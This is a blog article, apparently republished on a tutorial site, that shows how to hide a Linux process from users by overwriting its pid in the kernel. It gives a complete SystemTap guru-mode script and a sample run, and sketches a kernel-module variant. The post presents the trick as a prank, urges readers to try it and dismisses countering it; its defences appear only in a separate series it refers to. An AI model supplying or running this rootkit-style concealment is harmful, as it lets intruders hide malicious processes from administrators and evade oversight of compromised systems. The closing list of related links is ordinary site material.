One line of code teaches you how to hide Linux processes

One line of code teaches you how to hide Linux processes

Friends always ask me how to hide Linux processes. I ask them how hidden you want to be, hidden in the kernel or hidden from users.

The discussions online are all about hooking procfs or similar user-mode solutions, and they are all lengthy. I say that these scenarios are too big and too complicated. For those who want to see immediate results, seeing such a bunch of complicated things will probably discourage them.

This article introduces an unconventional method to hide Linux processes from users with just one line of code:

Just modify the pid of the process.

Note that it was Xiao Yin, so it's not worth countering. Just play a prank on the senior conference engineer for fun.
target->pid = 0x7fffffff;

The complete script is as follows:

#!/usr/bin/stap -g
#hide.stp

global pid;

function hide(who:long)
%{
 struct task_struct *target;

 target = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID);
 target->pid = 0x7fffffff;
%}

probe begin
{
 pid = $1
 hide(pid);
 exit();
}

Come on, try it:

[root@localhost system]# ./tohide &
[1] 403
[root@localhost system]# ./hide.stp
[root@localhost system]#

You can use the following command to detect all binary files that can display processes:

for pid in $(ls /proc|awk '/^[0-9]+/{print $1}'); do 
 ls -l /proc/$pid/exe; 
done

If it is gone in procfs, ps will of course not be able to detect it.

If you think the guru-mode stap is weird, you can write your own independent Linux kernel module and use the modification and exit method:

target->pid = xxxx;
return -1;

Isn’t it much simpler than various hook methods? The so-called moving data instead of code!

Let me briefly explain the principle.

  • When a task is created, the procfs directory structure is registered according to its pid.
  • When displaying the procfs directory structure, traverse the task list using its pid as the key to find the procfs directory structure.
  • 0x7fffffff (or any other reasonable value) is not registered at all and of course cannot be displayed.

No more words.

Once again, don't try to counter the methods described in this article, because something so simple is not worth countering, haha, right?

You can refer to my previous Rootkit series of articles to continue studying how Linux processes hide in the kernel. At the same time, I have given countermeasures for each method.

This is the end of this article about how to hide Linux processes with one line of code. For more information about Linux hidden processes, please search for previous articles on 123WORDPRESS.COM or continue to browse the related articles below. I hope everyone will support 123WORDPRESS.COM in the future!

You may also be interested in:
  • linux No space left on device 500 error caused by inode fullness
  • How to view the behavior of search engine spider crawlers in Linux/Nginx
  • Linux gzip command compression file implementation principle and code examples
  • Distinguishing between Linux hard links and soft links
  • Use of Linux ipcs command
  • Detailed tutorial on deploying SpringBoot + Vue project to Linux server
  • 5 Commands to Use the Calculator in Linux Command Line
  • Use of Linux ls command
  • Use of Linux sed command
  • Detailed explanation of Linux index node inode

<<:  Practical record of Vue3 combined with TypeScript project development

>>:  Analysis of the new features of MySQL 8.0 - transactional data dictionary and atomic DDL

Blog    

Recommend

Graphic tutorial on installing Mac system in virtual machine under win10

1. Download the virtual machine version 15.5.1 I ...

How to change the MySQL database file directory in Ubuntu

Preface The company's Ubuntu server places th...

mysql query data for today, this week, this month, and last month

today select * from table name where to_days(time...

Linux operation and maintenance basics httpd static web page tutorial

Table of contents 1. Use the warehouse to create ...

Detailed comparison of Ember.js and Vue.js

Table of contents Overview Why choose a framework...

Linux yum package management method

Introduction yum (Yellow dog Updater, Modified) i...

What is web design

<br />Original article: http://www.alistapar...

Specific use of routing guards in Vue

Table of contents 1. Global Guard 1.1 Global fron...

vue3+ts+EsLint+Prettier standard code implementation

Table of contents use Use of EsLint Add a profile...

Docker connection mongodb implementation process and code examples

After the container is started Log in to admin fi...

Design Theory: Hierarchy in Design

<br />Original text: http://andymao.com/andy...

Thoughts on copy_{to, from}_user() in the Linux kernel

Table of contents 1. What is copy_{to,from}_user(...

js uses Canvas to merge multiple pictures into one implementation code

Solution function mergeImgs(list) { const imgDom ...